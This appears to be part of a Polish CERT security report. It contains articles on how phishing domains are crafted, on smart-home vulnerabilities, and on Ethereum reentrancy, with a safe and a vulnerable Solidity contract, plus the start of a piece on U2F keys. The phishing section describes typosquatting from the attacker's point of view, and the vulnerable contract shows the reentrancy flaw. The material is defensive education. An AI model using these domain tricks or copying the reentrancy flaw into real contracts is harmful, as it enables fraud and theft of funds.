– schematy tworzenia 
domen phishingowych

Stworzenie domeny phishingowej nie wydaje się 
przesadnie trudne. Największy portal monitorujący 
phishing – phishtank.com notuje dziennie 1000-1500 
zgłoszeń. Na Polskę kierowanych jest dziennie od 20 do 50 
nowych domen phishingowych. Każda z nich rozsyłana 
jest w wiadomościach do setek czy nawet tysięcy 
użytkowników polskiego internetu. Jeden udany atak 
może wyczyścić zawartość konta bankowego. 
Zatem jest o co walczyć.

Bierzmy się do dzieła. Najpierw należy ustalić, jaki jest 
nasz profil działalności. Możliwości jest kilka: wyłudzanie 
danych osobowych, wykradanie danych kart kredytowych,
tworzenie nieprawdziwych stron logowania do kont 
w mediach społecznościowych lub – jeśli chodzi nam 
od razu o pieniądze – jesteśmy w stanie udawać panele 
płatności, a nawet strony banków. Następnie pozostaje 
skopiować stronę docelową, wprowadzić drobne poprawki 
i liczyć na naiwność potencjalnych ofiar, a tych, jak 
wiadomo, nie brakuje. Oczywiście jeśli chcemy mieć 
podstawową wersję z newsami lub samym logowaniem 
do serwisu. Wersja premium (bankowa) to dziesiątki 
podstron, systemy powiadomień, bazy danych 
i rozbudowana infrastruktura maskująca. 

W zależności od obranej strategii musimy wiedzieć, kogo 
udawać. Właśnie, udawać, to słowo klucz większości 
przypadków domen phishingowych.

Najważniejsze wydaje się wywołanie złudnego wrażenia, 
że ofiara jest na stronie internetowej, na którą chciała 
trafić. Istnieją bardziej zaawansowane techniki ukrywania 
znaków, jak podmiana ich na podobne z innego kodowania 
(np. ‘xn--xea5ip5g4a7142aba3gc’ w Unicode to 
‘РἮἻŚἮἻИĢ’).  Jednak tego rodzaju arsenał szybko 
się kończy i jego stosowanie ogranicza się obecnie do 
spearphishingu (phishingu celowanego w konkretną osobę 
lub firmę) lub wektora ataku (w SMS-ie powyższy ciąg 
znaków trudno ukryć) – to zwykle jednorazowy strzał… 

Raz użyta domena (w zależności od sposobu rozsyłania) 
żyje od kilku godzin do kilku dni. Po tym czasie jest 
bezużyteczna, bo trafia na czarną listę u praktycznie 

wszystkich: dostawców internetu, dostawców hostingu, 
rejestratorów domen, przeglądarek (Google Safe Browsing), 
jest także blokowana przez programy antywirusowe itd.

Zarejestrowanie domeny jest tanie (od 1 zł za rok), certyfi-
kat może być darmowy –  samych certyfikatów rejestruje 
się ok. 10 mln dziennie. Nie wydaje się to zatem przesad-
nie kosztowne czy trudne.

Pomyślmy przez chwilę jak twórca domeny phishingowej. 
Niech naszym celem będzie bank pracujący w domenie 
www.bogatybank.pl (swoją drogą, adres nie był łatwy 
do wymyślenia bo domeny superbank.pl, megabank.pl, 
tanibank.pl itd. są już zajęte).

Możemy podmieniać TLD (Top Level Domain – ostatni 
człon domeny) na podobny lub powiązany tematycznie 
i wyjdzie nam z tego bogatybank.pI (mała litera „i” zapisana 
jako duża daje „I”), bogatybank.pk, bogatybank.pay,
bogatybank.pin, bogatybank.site, bogatybank.online itd.

Innym sposobem jest dopisać  słowa, które kojarzą 
nam się z rodzajem działalności: platnosc-bogatybank.pl, 
weryfikacja-bogatybank.pl, logowanie-bogatybank.pl.

Następna opcja to pozmieniać trochę w samej domenie, 
w wyniku czego uzyskamy np.: https-bogatybank.pl, 
wwwbogatybank.pl, www.bogaty-bank.pl, boga1ybank.pl 
lub bogaatybank.pl. Proste literówki też wchodzą 
w grę: bpgatybank.pl, bogatbyank.pl.

Kolejny sposób to dodać cyfry, które coś znaczą:
bogatybank24.pl, bogatybank48.pl, bogatybank365.pl,
www.bogatybank007.pl lub cyfry, które nie znaczą nic:
bogatybank1.pl, 28bogatybank.pl.

Jeżeli chcemy produkować takie domeny na masową 
skalę, możemy również zarejestrować taką, która nie 
rzuca się w oczy np. jkhs.pl i pod takim adresem tworzyć 
np.: bogatybank.pl.secure-payment1231313.jkhs.pl, 
bogatybank.pl.platnosc-zaleglosci.jkhs.pl, bogatybank.
pl.zaplac-szybko-komornik.jkhs.pl itd. W tym przypadku 
liczba stworzonych domen jest niemal nieograniczona, 
natomiast dosyć łatwo taką stronę zlokalizować już 
po pierwszym ataku, a następnie śledzić kolejne jej 
wcielenia. 

Na to też jest sposób, istnieją firmy hostingowe, które 
oferują stronę internetową w ich własnej domenie, nie 
ma zatem problemu, by użyć adresu: bogatybank-pl.
wygodnyhosting.pl. W tym przypadku jednak każdy taki 
phishing działa bardzo negatywnie na wizerunek firmy 
hostingowej. Poza tym, rejestrując domenę musimy 
się jakimiś danymi zarejestrować, z jakiegoś konta zrobić 
przelew, zostawić ślad w postaci IP. Godne pochwały 
są firmy, które np. uniemożliwiają rejestrację z sieci TOR. 

Zdarzają się „ataki” na małe firmy hostingowe, gdzie 
pod legalną domeną nieświadomej firmy pojawia się 
50-100 nowych adresów jednego dnia. Aktualny rekord 
to 500 kolejno ponumerowanych domen zarejestrowanych 
w ten sposób.

Fragment strony phishingowej.

Fragment strony phishingowej

Kolejnym przykładem są domeny, które nie udają 
konkretnej marki, a bazują na naszej psychice. Podstawą 
jest tu strach i szybkość działania: www.zaplac-szybko-dlug.pl, 
www.komornik-oplata.pl, www.oplac-blokada-konta.pl itd. 

Tu wyróżnić musimy przynajmniej parę tematów, 
wokół których obracają się kampanie phishingowe. 

Fake newsy – bazują zwykle na naszej ciekawości 
i służą do zdobywania danych logowania do portali 
społecznościowych. Brylują takie słowa jak: porwanie, 
dworzec, dziecko, policja, news, telewizja, gazeta, 
informacje, sport, fakty i inne przyciągające uwagę historie. 
Często też nazwy prawdziwych znanych mediów. Zdobyte 
w ten sposób dane używane są potem do wyłudzania 
pieniędzy od znajomych ofiary (BLIK), rozsyłania wirusów 
z „czystego konta” czy też publikowania reklam 
zachęcających nas do płatnej subskrypcji.

Drobne opłaty – paczka, kurier, przelew, oplata, teraz, szybko, 
przesyłka – tu zwykle znajduje się podstawiona strona operato-
ra płatności, która wymaga od nas wpisania danych karty kre-
dytowej lub danych logowania do banku, bo mamy 1,98 zł do
dopłaty lub nieznany nam dług w większej kwocie z tykającym 
zegarem w zanadrzu.

Ostatni typ słownictwa to słowa charakterystyczne dla 
rodzaju działalności właściciela strony, którą chcemy 
udawać. Mogą to być regulaminy, konta, bezpieczne hasła, 
konkursy, bony, loginy, operatorzy, Apple ID itd. Zwykle 
tego rodzaju kampanie służą do wyłudzania danych log-
owania do serwisów internetowych jak Apple, Microsoft, 
Netflix, Allegro, Google itd.

Jak zatem ustrzec się phishingu i nie stać się kolejną ofiarą 
oszustów? Częstym problemem przy rozpoznawaniu 
fałszywej domeny jest to, że tak naprawdę nie widzimy, 
w jaki link klikamy. Prawdziwy adres jest ukryty pod polem, 
gdzie zobaczymy np. obrazek, a po kliknięciu przejdziemy 
na zupełnie inną stronę. Najprostszą obroną jest najechanie 
na link (nie kliknięcie), wówczas w lewym dolnym rogu 
przeglądarki pojawi się prawdziwy adres.

Problemem jest jednak to, że przeglądamy strony interne-
towe na naszych smartfonach. Tu nie możemy najechać 
na adres i podejrzeć co pod spodem. Ale i na to jest 
sposób – możemy próbować skopiować link (przytrzymać 
palec na linku). Wtedy też wyświetli się prawdziwy adres. 

Niestety na smartfonach czcionka jest mała, czasem w ogóle 
pole adresu jest niewidoczne, stąd trudniej rozpoznać sztuc-
zki wymienione we wcześniejszej części artykułu. Od zawsze 
uczono nas, że zielona kłódka jest gwarancją bezpieczeństwa. 
Obecnie nie jest to w zasadzie gwarancja niczego. 

Od dłuższego czasu obserwujemy jedną kampanię phishin-
gową, gdzie w tygodniu pojawiają się trzy-cztery nowe 
domeny. Tylko około 15-20% z nich nie ma zarejestrowanego 
certyfikatu. Co ciekawe dla tego przypadku: rejestracja 
domeny odbywa się hurtowo – np. zestaw na cały tydzień. 
W dniu ataku na godzinę przed wysyłką odbywa się 
rejestracja certyfikatu, a potem następuje atak. Zwykle 
są to godziny popołudniowe/wieczorne – kiedy jesteśmy 
zmęczeni i wychodzimy z pracy.

Jedyną gwarancją tego typu jest certyfikat Extended 
Validation prawidłowo przypięty do strony i wystawiony 
na prawidłową firmę. Niestety wciąż tylko część z firm 
z niego korzysta.

Certyfikat bezpieczeństwa domeny

„Słowa klucze” wykorzystywane w kampaniach 
phishingowych



52 53

Raport CERT ORANGE POLSKA 2019Raport CERT ORANGE POLSKA 2019

Aby skutecznie się bronić, powinniśmy również pamiętać 
o kilku zasadach. Poszczególne człony domeny mogą 
być dzielone tylko kropkami. Popatrzmy na domenę od 
końca – jeśli ostatni człon to: „.pl”, jeśli kolejny to:  
„bogatybank” to w większości przypadków jesteśmy  
bezpieczni. Domena logowanie.bogatybank.pl wraz  
z prawidłowym certyfikatem jest domeną bezpieczną.  
Jeśli nasz bank zawsze korzystał z domeny www.nasz-bank.
pl to oczywiście platnosc.nasz-bank.pl też jest w porządku.

Możemy sprawdzać datę wystawienia certyfikatu – ten 
wystawiony dla fałszywej strony często ma 3 miesiące 
ważności (Let’s Encrypt) lub/i został wystawiony parę 
godzin/dni temu. Możemy sprawdzić wiek domeny 
(WHOIS) – rzadko się zdarza, by używano domen 
starszych niż kilka dni. Choć i od tego są wyjątki. 

Finalna strona logowania do różnego rodzaju serwisów (płat-
ności, ogłoszeń, portali społecznościowych) niemal nigdy nie 
znajduje się pod innym adresem niż docelowy tj. okno logo-
wania jest pod adresem, który kończy się na to przykładowe 
bogatybank.pl, a nie doplata-komornik.eu/logowanie. Nawet 
jeśli sama strona wygląda identycznie. Jeśli już kliknęliśmy 
i widzimy np. portal aukcyjny to najedźmy kursorem na linki 
– większość z nich będzie prowadzić do prawdziwej strony 
portalu, ale link do zaloguj czy kup jako jedyny poprowadzi do 
jakiegoś dziwnego adresu np. www.bezpieczne-aukcje.pay.

Sposobem obrony jest też automatyczne generowanie 
i zapisywanie haseł (może niekoniecznie w przeglądarce),  
wówczas podpowiedź dostaniemy tylko i wyłącznie na 
stronie banku lub serwisu, do którego zwykle się logujemy, 
a nie tego, który go udaje.

Jeśli otrzymaliśmy powiadomienie z URL-em i nie ma to 
związku z naszymi wcześniejszymi działaniami (np. nie 
kliknęliśmy wcześniej przypomnij hasło, nie zamawialiśmy 
kuriera, nie mamy umowy z operatorem), to jest to niebez-
pieczna sytuacja. Jeśli jednak wystawiliśmy ogłoszenie,
a domena w linku wygląda podejrzanie, też zachowajmy 
ostrożność. Znana jest historia scrapowania numerów 
telefonów z portalu ogłoszeniowego, a następnie wysyłki 
SMS-ów z prośbą o dopłatę do ogłoszenia.

Starajmy się nie działać impulsywnie (wtedy łatwiej o błąd). 
Pamiętajmy, że bank lub serwis, do którego się logujemy, 
ma zwykle tylko jeden, przeznaczony dla klientów 
adres – zawsze ten sam. 

Grzegorz Zembrowski 

Internet Rzeczy, czyli trochę 
o inteligentnych domach

Urządzenia, które znają nasze nawyki, zdalnie sterowane 
systemy alarmowe, elektroniczne zamki do drzwi, ekspresy 
do kawy, które same nam ją zaparzają, lodówki, które 
zamawiają brakujące artykuły spożywcze oraz lodówki, 
do których mamy aktualny podgląd poprzez smartfona, 
co znajduje się w lodówce jak np. jesteśmy w sklepie, 
monitoring w domu – kamery, telewizory, z którymi komu-
nikujemy się mową czy gestami, regulatory temperatury 
na grzejnikach C.O, piece C.O, smart gniazda sieci elektry-
cznej to już nie science fiction ani zabawki dla bogatych 
ludzi. Te wszystkie urządzenia i wiele innych po podłączeniu 
do sieci mają z założenia ułatwiać nam życie i czynić je 
wygodniejszym – czy aby na pewno?

Udogodnienia inteligentnego domu to również problemy 
i zagrożenia. Podłączanie urządzeń domowych do internetu 
sprawia, że ich działanie staje się zależne od jakości łącza, 
jego prędkości działania  np. serwera. Z drugiej strony, 
wykorzystując dobra techniki podłączone do sieci, mogą 
posłużyć  cyberprzestępcy, którzy poszukują możliwości 
przejęcia kontroli nad naszym sprzętem. Mogą się dowiedzieć, 
gdzie jesteś, kiedy wrócisz do domu i wejść do niego bez 
wyłamywania drzwi. To wszystko jest możliwe, szczególnie 
wtedy, gdy systemy te nie są właściwie zabezpieczone. 
Ważna jest w tym przypadku świadomość zagrożeń, a ich 
uniknięcie nie będzie trudne. Na początek wystarczy zdrowy 
rozsądek i sprawdzanie, jakie aplikacje instalujemy 
do sterowania tymi urządzeniami.

Jakie  słabe punkty naszego inteligentnego 
domu mogą wykorzystać cyberprzestępcy? 

System nadzoru i obserwacji chroni domy poprzez automa-
tyczne zamykanie drzwi wejściowych i okien czy monitoro-
wanie otoczenia za pomocą kamer. Dzięki podłączeniu do 
internetu wszystkie te urządzenia mogą być zdalnie sterowane 
przez właścicieli… jak i przez i cyberprzestępców. Jeśli nie są 
w pełni chronione, bardzo łatwo jest przejąć nad nimi kontrolę.

Inteligentne telewizory są wyposażone w mikrofony i wbu-
dowane kamery, które mają funkcję rozpoznawania głosu, 
co umożliwia automatyczną obsługę ustawień. Jednak 
połączenie do sieci stwarza ryzyko wycieku prywatnych 
filmów czy zdjęć. 

Eksperci Trend Micro informowali  w 2019 roku, o wykryciu 
w inteligentnych telewizorach aplikacji zainfekowanych 
złośliwym oprogramowaniem typu backdoor, wykorzystującym 
starą lukę w zabezpieczeniach Androida. Większość dostę-
pnych obecnie na rynku telewizorów smart nie pracuje na 
aktualnych, załatanych wersjach systemów operacyjnych. 
Atakujący mogą z powodzeniem wykorzystywać znane od 
dawna podatności do przeprowadzania ataków.

Urządzenia tego typu najczęściej wyposażone są w łatwe 
do oprogramowania systemy takie jak np. Android, jednak 
producenci nie za bardzo interesują się, aby odpowiednio 

zabezpieczyć je przed niepowołanym dostępem. Twórcy 
oprogramowania nie wykonują żadnych aktualizacji, które 
aktualizowałyby nowo odkryte luki w bezpieczeństwie. 
Elementy inteligentnego domu mogą się stać łatwym 
celem dla cyberprzestępców, którzy chcą wykraść dane 
czy żądają okupu np. blokując ogrzewanie domu zimą. 
Cyberprzestępcy korzystają z tego, że wiele urządzeń 
jest połączonych z siecią i zwiększa się ryzyko ujawnienia 
prywatnych informacji. Wobec tego właściciele inteligen-
tnego domu powinni unikać pobierania aplikacji ze stron 
prowadzonych przez podejrzane firmy, nie mogą zapo-
minać też o instalacji odpowiedniego oprogramowania 
zabezpieczającego.

Jak pokazały testy przeprowadzone przez firmę 
Kaspersky Lab, nadal istnieje wiele sposobów 
umożliwiających przejęcie kontroli. Jednym z nich 
była luka w serwerze chmurowym, poprzez który 
właściciel steruje domem.

„Jak ujawniła firma Kaspersky, „inteligentny dom Fibaro 
umożliwiał dowolnej osobie przesłanie i pobranie danych 
kopii zapasowej inteligentnego huba z i na serwer chmu-
rowy. Inteligentny hub stanowi najważniejsze urządzenie 
w inteligentnym domu, ponieważ steruje np. termostatami, 
automatami do kawy, systemami zabezpieczającymi itp. 
Dane znajdujące się w kopii zapasowej huba zawierają 
wiele ciekawych informacji o domu i jego właścicielu, 
w tym lokalizację nieruchomości oraz smartfona, adres 
e-mail, na które zarejestrowane jest konto hosta, w syste-
mie Fibaro, jak również listę połączonych urządzeń wraz 
z ich hasłami (wszystkie w postaci niezaszyfrowanego 
tekstu). Przechowywane tam było również hasło do pa-
nelu administratora wykorzystywane do zdalnego stero-
wania domem. W przeciwieństwie do pozostałych haseł, 
znajdujących się w kopii zapasowej, było ono zabezpie-
czone, a dokładniej zahaszowane. Jeśli jednak atakujący 
chciał pobrać wszystkie kopie zapasowe przechowywane 
w chmurze Fibaro, mógł odgadnąć najprostsze i najczęściej 
pojawiające się hasła — np. „password1” — dla których 
hasz były takie same. Po przedostaniu się do panelu 
administratora przestępca mógł wykorzystać jedną z luk 
w celu zdalnego wykonania kodu i zdobycia uprawnień 
superużytkownika w systemie, który ma nieograniczone 
uprawnienia. Jak na ironię, prawdziwy właściciel domu 
ma ich o wiele mniej. 

Z kolei testy przeprowadzone przez badaczy na uniwersyte-
cie College of William ujawniły luki bezpieczeństwa dwóch 
platform dla inteligentnego domu: Nest (od firmy Nest Labs, 
której właścicielem jest firma Google) oraz Hue (produkowanej 
przez firmę Philips).

„Specjaliści z firmy Nest Labs zwrócili szczególną uwagę 
na zabezpieczenie systemów ochronnych aplikacje i urzą-
dzenia firm zewnętrznych nie mogą zmieniać ustawień 
kamer zabezpieczających oraz innych komponentów 
odpowiedzialnych za bezpieczeństwo domu, jak również 
włączać je i wyłączać. Jednak system ten używa pewnych 
atrybutów, które powszechnie występują w systemach 
zabezpieczających i urządzeniach, a które są znacznie mniej 
chronione. Wartości takich atrybutów są przechowywane 

w jednym magazynie, do którego mają dostęp wszystkie 
urządzenia, jakie ich potrzebują do działania. Co więcej, 
niektóre mniejsze, jak przełączniki światła czy termostaty, 
w wielu przypadkach potrafią nie tylko odczytywać potrzebne 
im wartości, ale także je zmieniać. Z jednej strony pomaga to 
automatyzować i upraszczać rutynowe operacje. Na przykład 
gdy wychodzisz rano do pracy, nie musisz wydawać poleceń 
dla każdego urządzenia oddzielnie. Aplikacja kontrolująca 
przełącznik może użyć na przykład geolokalizacji w celu okreś-
lenia, że właściciel wyszedł już z domu, a następnie przesłać 
tę informację do magazynu i przypisać atrybutowi wartość 
away, który określa nieobecność. Wartość tę odczytuje nie 
tylko sam przełącznik (który następnie wyłącza światło), lecz 
również pozostałe urządzenia. Każde z nich wykonuje zapro-
gramowane działanie: klimatyzacja działa mniej intensywnie, 
odtwarzacze muzyczne wyłączają się, a kamery monitoringu 
rozpoczynają nagrywanie. Jeśli jednak system uzna, że właści-
ciel powrócił do domu, kamery zostają wyłączone, co zmniej-
sza ogólne bezpieczeństwo. Dostępnych jest kilka urządzeń 
kompatybilnych z Nest, które mają prawo zarządzać trbami 
home/away. Badacze zdecydowali się sprawdzić bezpieczeń-
stwo przełącznika Kasa autorstwa firmy TP-Link. Oprócz 
wspomnianej możliwości odczytu i zmiany ustawień trybu 
home/away, na ich wybór złożyła się także popularność 
aplikacji Kasa Smart służącej do zdalnego sterowania urzą-
dzeniem (ponad milion pobrań w sklepie Google Play). 
Po dokładniejszej analizie okazało się, że program umożliwia 
atakującemu przechwycenie połączenia z serwerem i wysy-
łanie do niego poleceń. Błąd został wykryty w procedurze 
autoryzacji, a dokładniej w toku myślenia programistów 
aplikacji na temat jej zabezpieczeń – aby dane właścicieli 
konta nie wpadły w niepowołane ręce, aplikacja i serwer na-
jpierw nawiązują połączenie szyfrowane. W tym celu aplikacja 
wysyła do serwera żądanie, które wyświetla jej certyfikat SSL 
potwierdzający, że serwer jest zaufany. Aplikacja sprawdza 
autentyczność certyfikatu, a jeśli jest oryginalny, potajemnie 
przekazuje serwerowi token (dane wykorzystywane do iden-
tyfikacji użytkownika). Jednak podczas procedury sprawdza-
nia wkradał się błąd, w wyniku którego aplikacja Kasa miała 
akceptować wszystkie certyfikaty”.

Problem z uprawnieniami nadawanymi aplikacjom 
zewnętrznym dotyczy również inteligentnego systemu 
oświetleniowego Philips Hue. 

Zaprojektowano go tak, aby każdy program wymagał od 
właściciela zgody na nawiązanie połączenia z inteligentnym 
domem. Uprawnienie to może zostać nadane poprzez 
wciśnięcie przycisku na panelu sterującym, poprzez który 
działają urządzenia Hue. Aplikacja oraz panel sterujący 
muszą znajdować się w tej samej sieci lokalnej. Oznacza 
to, że osoby przebywające w pobliżu nie mogą połączyć 
się z Twoim inteligentnym domem, w celu wysłania żądania. 
To dobry pomysł, jednak jego wdrożenie nie poszło zgodnie 
z założeniem. Jak odkryli badacze, przycisk ten może zostać 
wciśnięty nie tylko przez użytkownika, lecz również przez 
każdy program, który jest już połączony z urządzeniem Hue. 
„Mózg” systemu określa, czy przycisk został aktywowany 
zgodnie z wartością jednego z ustawień jednostki sterującej. 
Wartość ta może być jednak modyfikowana przez aplikacje. 
Program, którego działanie wzbudza wątpliwości i który 
ma dostęp do platformy, może dowolnie nadawać dostęp 

Starajmy się nie działać impulsywnie 
(wtedy łatwiej o błąd). Pamiętajmy, 
że bank lub serwis, do którego się 
logujemy, ma zwykle tylko jeden, 
przeznaczony dla klientów 
adres – zawsze ten sam. 
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innym. Ale to nie wszystko: używając tych samych 
ustawień, może on również odmówić dostępu do legal-
nych urządzeń połączonych przez właściciela. Może się 
wydawać, że ponieważ platforma Hue jest wykorzystywana 
tylko do sterowania oświetleniem, błąd ten jest znacznie 
mniej niebezpieczny niż luka w platformie Nest. Jednak 
urządzenia Hue również mogą łączyć się z systemem Nest, 
który nie tylko ma dostęp do zamków w drzwiach i kamer, 
ale w niektórych przypadkach umożliwia aplikacjom 
innych producentów ich wyłączenie.”

Jak zabezpieczyć inteligentny dom?

Luki w zabezpieczeniach są znajdowane niemal 
w każdym inteligentnym urządzeniu domowym. 
Cyberprzestępcy mogą zaatakować nawet zamek 
lub kamerę bezpieczeństwa – a to już poważna sprawa. 
Decyzja, czy wzbogacić swój dom o technologiczne 
nowinki na pewno jest trafna. Jeśli jednak postanow-
imy mieć ten wymarzony, inteligentny dom, należy 
zminimalizować ryzyko możliwych włamań 
dokonywanych przez cyberprzestępców. 

Oto kilka rad:

• Czytajmy opinie o instalowanych przez nas 
urządzeniach zanim je kupimy m.in. o lukach już  
wykrytych. Zwróćmy uwagę, jak producent reaguje  
na wykrycie luk w jego urządzeniach. Jeśli są one 
szybko ujawnione i łatane aktualizacjami to dobry znak;

• Regularnie sprawdzajmy aktualizacje. Instalujmy  
wszelkie udostępnianie przez producenta;

• Chrońmy te urządzenia poprzez użycie silnego  
i unikatowego hasła;

• Poprawnie skonfigurujmy domową sieć Wi-Fi lub 
skorzystajmy z wykfalifikowanych specjalistów. Aktua-
lizujmy poprawki dla routera sieci udostępniane przez 
producentów. Szczególnie te dotyczące zabezpieczeń;

• Programy pobierajmy tylko z oficjalnych stron i nie 
udzielajmy im niepotrzebnych uprawnień. Łącząc się  
ze swoim inteligentnym domem za pośrednictwem 
publicznej sieci Wi-Fi w galeriach handlowych czy 
kawiarniach pamiętajmy, że w pobliżu również mogą  
pić kawę cyberprzestępcy i w łatwy sposób prze-
chwycą wysyłane informacje, w tym również twoje 
hasła i tokeny autoryzacyjne. Aby tego uniknąć,  
skorzystajmy z bezpiecznego połączenia przy użyciu  
np. technologii VPN.

Świadomie korzystajmy z możliwości technologicznych, 
pamiętając jednak o ewentualnych zagrożeniach. 

Fragmenty artykułów publikowane pod tytułem  
„Łamanie zabezpieczeń inteligentnych domów”  
na „plblog.kaspersky.com”.

Piotr Minicki

Ethereum – niebezpieczne 
kontrakty

Ethereum jest platformą przetwarzania rozproszonego opartego 
na technologii blockchain. W odróżnieniu od Bitcoina, 
Ethereum umożliwia tworzenie zaawansowanych inteligentnych 
kontraktów, które wykonywane są w wirtualnej maszynie 
Etherum (EVM – Ethereum Virtual Machine). W przypadku 
Bitcoina udostępniony jest prosty język (Scrypt) umożliwiający 
definiowanie wielopodpisów i proste operacje związane 
z obsługą wypłat z portfeli. Te dwie technologie reprezentują 
oddzielne funkcjonalności – Bitcoin stworzony został przede 
wszystkim jako cyfrowy pieniądz i jest specjalnie „okrojony” 
do kilkudziesięciu instrukcji, czego podstawowa zaletą 
jest bezpieczeństwo, Ethereum stworzono jako platformę 
programistyczną, której możliwości są znacznie większe. 
Platforma ta za wykonaną pracę górników płaci kryptowalutą 
Ether, która jest wymienna na tzw. paliwo. Płaci się nim za 
moc obliczeniową używaną podczas wykonywania kontraktów 
(każda instrukcja „kosztuje”określoną ilość paliwa). Opłaty 
paliwem są jednocześnie zabezpieczeniem przed atakami DoS 
czy przeciążeniem sieci Ethereum (np. poprzez nieskończone 
pętle), a cena paliwa jest zmienna w zależności od użycia 
sieci. Możliwości danego kontraktu ograniczone są wyłącznie 
wyobraźnią programisty (i ograniczeniami środowiska), a to 
zwiększa prawdopodbieństwo wystąpień luk bezpieczeństwa. 
W artykule tym przestawimy jeden z najczęstszych błędów 
w tworzeniu kontraktów. Postaramy się odpowiedzieć 
na pytanie, w jaki sposób dochodzi do kradzieży środków. 
Zaprezentujemy także metody obrony.

Decentralized Autonomous Organization
Jednym z najpopularniejszych ataków w historii Ethereum był, 
zorganizowany w 2016 roku, atak na kontrakt The DAO (organi-
zacji Decentralized Autonomous Organization). Doprowadził on 
do kradzieży środków w wysokości ok. 60 mln dolarów, a sam 
kontrakt posiadał ich ok. 150 mln. Atakujący wykorzystali po-
datność w kontrakcie pozwalającą na ponowne wejście w ten 
kontrakt przed zaktualizowaniem salda. Przykład takiej podat-
ności opiszemy w tym artykule. Zdarzenie to doprowadziło do 
hard forka (jest to rozgałęzienie łańcucha bloków na odrębne 
gałęzi, co często doprowadza do powstania nowej kryptowa-
luty), w którym zwrócono środki poszkodowanym. Miało to 
jednak efekt uboczny – nie każdemu w społeczności się to 
spodobało, bo blockchain bez względu na wszystko powinien 
być niezmienny. Powstały więc dwa oddzielne łańcuchy i nowa 
kryptowaluta - Ethereum Classic (ETC), której cena, ze względu 
na istnienie przejętych środków w blockchain i zmniejszenie 
ilości programistów ją rozwijających, została mocno obniżona.

Kontrakty
Jedną z zalet Ethereum (jak się czasami okazuje, również 
wad) jest możliwość definiowania inteligentnych kontraktów 
w Blockchain, a następnie odpowiednia interakcja z nimi. 
Kontrakty te pozwalają obsługiwać środki wpływające na 
konto, regulować zasady ich wpłacania czy wypłacania we-
dług woli programisty. Kontrakty mogą również odwoływać 
się do kontraktów zewnętrznych – już wcześniej zdefiniowa-
nych w Blockchain i to tutaj często dochodzi do nadużyć. 

Przykładowy kontrakt napisany w Solidity został 
przedstawiony poniżej.

Kontrakt ten posiada:

 a)  Konstruktor (linia 5), który wywoływany jest  
      podczas definiowania kontraktu. Tutaj zapisy-
      wany jest w zmiennej „owner” adres portfela,
      tworzącego ten kontrakt (w tym przykładzie 
      nie jest wykorzystywany).  
 b)  Funkcja rezerwowa z modyfikatorem „payable”
      (linia 9), która domyślnie jest wywoływana 
      podczas odbioru środków przez kontrakt.
 c)  Funkcja „deposit” (linia 13), która wywoływana
      jest przez funkcje z punktu b). Funkcja ta zapi- 
      suje w tablicy asocjacyjnej „balances” środki 
      osób, które wpłacają je do kontraktu (można 
      założyć, że jest to instytucja akumulująca środki 
      swoich klientów np. bank) – kontrakt oczywiś- 
           cie jest mocno zminimalizowany na potrzeby tej
      publikacji. W Solidity tablice asocjacyjne
      deklaruje się jak poniżej:

     oznacza to, że tablica „balances” posiada 
     indeksy typu „address”, których wartości są 
     zmiennymi 256-bitowymi typu „int” bez znaku. 
     Struktura „msg” zawiera dane wysyłającego 
     komunikat do kontraktu.

 d)  Funkcja „withdraw” (linia 18), która pozwala 
      na wydawanie zdeponowanych środków 
      osobie wpłacającej wcześniej środki na ten 
      kontrakt. Funkcja „require” przerwie działanie
      kontraktu, jeśli warunek nie zostanie spełniony. 

Jak wspomniano wcześniej kontrakty w Ethereum mogą 
wywoływać te zdefiniowane w blockchain i ich funkcje. 
Rodzi to problem z wielobieżnością – podczas wywoły-
wania kontraktu można doprowadzić do wielokrotnego 
wykonywania funkcji wypłacającej, która w danym czasie 
nie zaktualizowała informacji o stanie salda.  

Przyjrzyjmy się teraz przykładowemu podatnemu kontraktowi:

  
    

Kontrakt ten różni się od poprzedniego funkcją 
„withdraw”. W liniach 23, 24 widać, że dane przecho-
wujące ilość zebranych wcześniej środków, aktualizo-
wana jest po wykonaniu instrukcji zwracającej środki. 
Widać również zastosowanie niebezpiecznej funkcji 
zwracającej środki w linii 23. 

Atakujący mógłby stworzyć kontrakt, który 
zasiliłby podatny kontrakt małą sumą – np. 1 Ether, 
a w momencie wypłaty podatny kontrakt za pomocą 
funkcji w linii 23 odwołałby się z powrotem do 
kontraktu atakującego, wywołując funkcję rezerwową 
odpowiedzialną za obsługę przyjmowania płatności 
(payable – listing poniżej – linia 20). Następnie funkcja 
ta odwołałaby się jeszcze raz do kontraktu podatnego 
w momencie kiedy jeszcze nie doszło do aktualizacji 
środków dla atakującego. Spowodowałoby 
to lawinowe wypłaty dla atakującego.

Poniżej przykład exploita wykorzystujący 
tę podatność:

1  pragma solidity ^0.5.0;
2  contract Example{
3     address public owner;
4    mapping(address => uint256) balances;
5    constructor() public {
6        owner = msg.sender;
7    }
8    
9    function () external payable{
10        deposit();
11   }
12   
13   function deposit() public payable {
14       require(msg.value > 0);
15       balances[msg.sender] += msg.value;
16   }
17   
18   function withdraw(uint256 amount) public {
19        require(amount <= balances[msg.sender]);
20        balances[msg.sender] -= amount;
21        msg.sender.transfer(amount);
22     }
23 }

mapping(address => uint256) balances;

1  pragma solidity ^0.5.0;
2
3  contract Vulnerable{
4
5     address public owner;
6    mapping(address => uint256) balances;
7
8    constructor() public {
9        owner = msg.sender;
10    }
11    
12    function () external payable{
13        deposit();
14   }
15   
16   function deposit() public payable {
17       require(msg.value > 0);
18       balances[msg.sender] += msg.value;
19   }
20   
21   function withdraw(uint256 amount) public {
22        require(amount <= balances[msg.sender]);
23        msg.sender.call.value(amount)(“”);
24   balances[msg.sender] -= amount;
25    }
26 }
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Co warto wiedzieć 
o kluczach U2F?

Od pewnego czasu technologia kluczy U2F pojawia 
się coraz częściej w artykułach i na konferencjach. 
Często można z zamieszczonych tam wypowiedzi 
odnieść wrażenie, że klucz U2F to panaceum na 
wszelkie sieciowe zagrożenia. Tworzy to wśród 
korzystających z tego rozwiązania (fałszywe) poczucie 
bezpieczeństwa. Artykuł przedstawia pokrótce opis 
działania U2F oraz wskazuje część zagrożeń, którymi 
opisywane rozwiązanie się zajmuje.

U2F (Universal 2nd Factor) to otwarty standard 
uwierzytelnienia (głównie do aplikacji webowych), 
działający bez sterowników. Oczywiście system 
operacyjny i przeglądarki muszą obsługiwać urządzenia 
U2F. Sam proces użycia klucza U2F jest dwuetapowy. 
Pierwszy etap, wykonywany jednorazowo dla danej 
usługi, to rejestracja klucza w usłudze oraz jej 
rejestracja w kluczu. Obie strony wiążą kryptograficznie 
klucz z usługą (nazwą DNS) oraz indywidualnym 
losowym identyfikatorem. Po tym etapie następuje 
etap wielokrotnego uwierzytelniania. Polega on na 
